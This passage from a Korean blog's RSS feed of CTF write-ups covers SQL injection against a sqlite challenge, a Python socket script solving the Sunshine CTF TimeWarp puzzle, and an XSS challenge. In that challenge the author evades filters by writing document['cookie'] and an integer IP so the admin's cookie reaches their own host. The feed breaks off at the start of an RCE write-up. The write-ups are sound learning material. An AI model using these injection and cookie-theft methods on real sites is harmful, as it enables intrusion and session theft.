this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Order by 절을 사용하여 컬럼의 개수를 알아낼 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmhHSp/btqtY9CBXTU/VJgg1kuPk9KNDYVHPdD6QK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmhHSp/btqtY9CBXTU/VJgg1kuPk9KNDYVHPdD6QK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmhHSp/btqtY9CBXTU/VJgg1kuPk9KNDYVHPdD6QK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmhHSp%2FbtqtY9CBXTU%2FVJgg1kuPk9KNDYVHPdD6QK%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;8.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btJPmG/btqtYmPoS0q/WEc5g1tqLK8JjJbWmnprhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btJPmG/btqtYmPoS0q/WEc5g1tqLK8JjJbWmnprhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btJPmG/btqtYmPoS0q/WEc5g1tqLK8JjJbWmnprhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtJPmG%2FbtqtYmPoS0q%2FWEc5g1tqLK8JjJbWmnprhK%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;시큐어 코딩이 전혀 되어있지 않으므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Union 절도 문제없이 사용이 가능합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;9.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/erxb48/btqtZ98VZym/FkD6VzX4ltgtnCiPKJTV90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/erxb48/btqtZ98VZym/FkD6VzX4ltgtnCiPKJTV90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/erxb48/btqtZ98VZym/FkD6VzX4ltgtnCiPKJTV90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ferxb48%2FbtqtZ98VZym%2FFkD6VzX4ltgtnCiPKJTV90%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;10.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcC5nD/btqt0TR5vwr/dmzql1JzjAXLjGDvsJX0M1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcC5nD/btqt0TR5vwr/dmzql1JzjAXLjGDvsJX0M1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcC5nD/btqt0TR5vwr/dmzql1JzjAXLjGDvsJX0M1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcC5nD%2Fbtqt0TR5vwr%2Fdmzql1JzjAXLjGDvsJX0M1%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Sqlite3에서 테이블을 확인하는 쿼리를 통해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;모든 테이블과 쿼리문을 확인할 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;users 테이블에 flag 라는 컬럼이 존재하는 것이 눈에 띕니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;12.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c5npv3/btqtYsofCxY/Z6GeqlWWa1PToPVdrIqsC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c5npv3/btqtYsofCxY/Z6GeqlWWa1PToPVdrIqsC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5npv3/btqtYsofCxY/Z6GeqlWWa1PToPVdrIqsC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc5npv3%2FbtqtYsofCxY%2FZ6GeqlWWa1PToPVdrIqsC1%2Fimg.png&quot; data-filename=&quot;12.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;13.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EODCX/btqtYt8yTZ7/WQrwQdDtwdhdYoDTSYdoW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EODCX/btqtYt8yTZ7/WQrwQdDtwdhdYoDTSYdoW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EODCX/btqtYt8yTZ7/WQrwQdDtwdhdYoDTSYdoW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEODCX%2FbtqtYt8yTZ7%2FWQrwQdDtwdhdYoDTSYdoW0%2Fimg.png&quot; data-filename=&quot;13.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Group_concat 문을 통해 모든 flag 컬럼 데이터를 확인하는 것으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;문제 해결이 가능했습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/88</guid>
      <comments>https://posix.tistory.com/88#entry88comment</comments>
      <pubDate>Sun, 31 Mar 2019 20:04:14 +0900</pubDate>
    </item>
    <item>
      <title>TimeWarp 문제풀이</title>
      <link>https://posix.tistory.com/87</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;22.PNG&quot; width=&quot;860&quot; height=&quot;350&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/umlGq/btqtYtgriXu/KR9Pfgr0kh8DMw056fZydK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/umlGq/btqtYtgriXu/KR9Pfgr0kh8DMw056fZydK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/umlGq/btqtYtgriXu/KR9Pfgr0kh8DMw056fZydK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FumlGq%2FbtqtYtgriXu%2FKR9Pfgr0kh8DMw056fZydK%2Fimg.png&quot; data-filename=&quot;22.PNG&quot; width=&quot;860&quot; height=&quot;350&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Sunshine CTF Scripting 1번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSKjay/btqtY0dLJCE/IbKYUm75rhkGAVvS4Bw7NK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSKjay/btqtY0dLJCE/IbKYUm75rhkGAVvS4Bw7NK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSKjay/btqtY0dLJCE/IbKYUm75rhkGAVvS4Bw7NK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSKjay%2FbtqtY0dLJCE%2FIbKYUm75rhkGAVvS4Bw7NK%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;문제에 주어진 주소로 접속해보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;0부터 999 사이의 숫자를 하나 낼테니 그대로 다시 보내라고 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;값을 입력하고 난 이후에 답이 주어진다는 것인데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IM0q5/btqtXWi9n9g/fRlKhgnkdHDKxGTwidxcF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IM0q5/btqtXWi9n9g/fRlKhgnkdHDKxGTwidxcF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IM0q5/btqtXWi9n9g/fRlKhgnkdHDKxGTwidxcF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIM0q5%2FbtqtXWi9n9g%2FfRlKhgnkdHDKxGTwidxcF0%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;정확히 똑같은 순서와 값이 반복되기 때문에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;일단 입력하고, 주어지는 값을 저장했다가&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다시 시도하면 됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:py vim&quot;&gt;&lt;code&gt;import socket
from time import sleep
import sys

A = []

while True:

	s = socket.socket()
	s.connect(('tw.sunshinectf.org', 4101))
	
	s.recv(1024)
	s.recv(1024)
	
	if len(A) != 0:
	
		s.send(('\n'.join(A)+'\n').encode())
		sleep(1)
		res = s.recv(99999)
		
		if res.decode().split('\n')[-2].find('sun{') != -1:
			print(res.decode().split('\n')[-2])
			exit()

	s.send('1024\n'.encode())
	answer = s.recv(1024).strip().decode().split('\n')[0]
	A.append( answer )
	print('next answer is ' + answer)

&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;파이썬 스크립트로 문제를 해결했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;캡처.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqQ217/btqtYLOFv3d/MucLjMTLikKkKTckAgQmKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqQ217/btqtYLOFv3d/MucLjMTLikKkKTckAgQmKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqQ217/btqtYLOFv3d/MucLjMTLikKkKTckAgQmKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqQ217%2FbtqtYLOFv3d%2FMucLjMTLikKkKTckAgQmKK%2Fimg.png&quot; data-filename=&quot;캡처.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/87</guid>
      <comments>https://posix.tistory.com/87#entry87comment</comments>
      <pubDate>Sun, 31 Mar 2019 19:54:22 +0900</pubDate>
    </item>
    <item>
      <title>eXquisite Scenery Sites 문제풀이</title>
      <link>https://posix.tistory.com/86</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yKq7I/btqt0begaly/7jmUqVfff0efKcyHjRwEU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yKq7I/btqt0begaly/7jmUqVfff0efKcyHjRwEU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yKq7I/btqt0begaly/7jmUqVfff0efKcyHjRwEU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyKq7I%2Fbtqt0begaly%2F7jmUqVfff0efKcyHjRwEU1%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;b00t2root 2019 web 4번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;XSS 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqrsPn/btqtYZMluFD/To9HPoC37mllUJzZKS658K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqrsPn/btqtYZMluFD/To9HPoC37mllUJzZKS658K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqrsPn/btqtYZMluFD/To9HPoC37mllUJzZKS658K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqrsPn%2FbtqtYZMluFD%2FTo9HPoC37mllUJzZKS658K%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;링크에 접속하면 우측 상단에 버튼이 하나 보입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJCS5H/btqtY9nHC9q/uPKciG01bvcYdyoggou9Zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJCS5H/btqtY9nHC9q/uPKciG01bvcYdyoggou9Zk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJCS5H/btqtY9nHC9q/uPKciG01bvcYdyoggou9Zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJCS5H%2FbtqtY9nHC9q%2FuPKciG01bvcYdyoggou9Zk%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;관리자에게 메시지를 보내는 서비스 페이지입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dps4Ab/btqt0afl1kS/EETCdgv4DJDu2zyShfkYr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dps4Ab/btqt0afl1kS/EETCdgv4DJDu2zyShfkYr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dps4Ab/btqt0afl1kS/EETCdgv4DJDu2zyShfkYr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdps4Ab%2Fbtqt0afl1kS%2FEETCdgv4DJDu2zyShfkYr1%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;입력이 주어지면 상단에 alert 명령어가 보여지는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;관리자가 메시지를 금방 확인할 것이라고 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ci93XH/btqtYKaQpIB/RqX5lXOLBCzZ9CRQPO0NZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ci93XH/btqtYKaQpIB/RqX5lXOLBCzZ9CRQPO0NZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ci93XH/btqtYKaQpIB/RqX5lXOLBCzZ9CRQPO0NZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fci93XH%2FbtqtYKaQpIB%2FRqX5lXOLBCzZ9CRQPO0NZ1%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;script img 등 태그명, 온점 등이 필터링 되고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;입력시 한탄하는 메시지가 나오므로 주의합시다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bocAc4/btqtXWC3I8e/SjmfgQRGuuOIfkeJaTs9Tk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bocAc4/btqtXWC3I8e/SjmfgQRGuuOIfkeJaTs9Tk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bocAc4/btqtXWC3I8e/SjmfgQRGuuOIfkeJaTs9Tk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbocAc4%2FbtqtXWC3I8e%2FSjmfgQRGuuOIfkeJaTs9Tk%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;온점이 들어가는 document.cookie 등은 document['cookie']로 바꾸고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;ip 주소는 정수형태로 변경하여 필터링을 우회하였습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqULRZ/btqtYZyPDGv/K4F4WU1K7qK65zRdBIBC01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqULRZ/btqtYZyPDGv/K4F4WU1K7qK65zRdBIBC01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqULRZ/btqtYZyPDGv/K4F4WU1K7qK65zRdBIBC01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqULRZ%2FbtqtYZyPDGv%2FK4F4WU1K7qK65zRdBIBC01%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;수신되는 패킷의 쿠키를 확인해보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;접속해 볼 것도 없이 플래그가 주어집니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;참조문서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.minivet.kr/?p=315&quot;&gt;https://blog.minivet.kr/?p=315&lt;/a&gt;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/86</guid>
      <comments>https://posix.tistory.com/86#entry86comment</comments>
      <pubDate>Sat, 30 Mar 2019 23:03:34 +0900</pubDate>
    </item>
    <item>
      <title>PingService 문제풀이</title>
      <link>https://posix.tistory.com/85</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;416&quot; height=&quot;360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JUvR4/btqtZNxUP2X/k6j0ddScK0NMF2uENG2Me1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JUvR4/btqtZNxUP2X/k6j0ddScK0NMF2uENG2Me1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JUvR4/btqtZNxUP2X/k6j0ddScK0NMF2uENG2Me1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJUvR4%2FbtqtZNxUP2X%2Fk6j0ddScK0NMF2uENG2Me1%2Fimg.png&quot; width=&quot;416&quot; height=&quot;360&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;b00t2root 2019 web 3번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;RCE 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
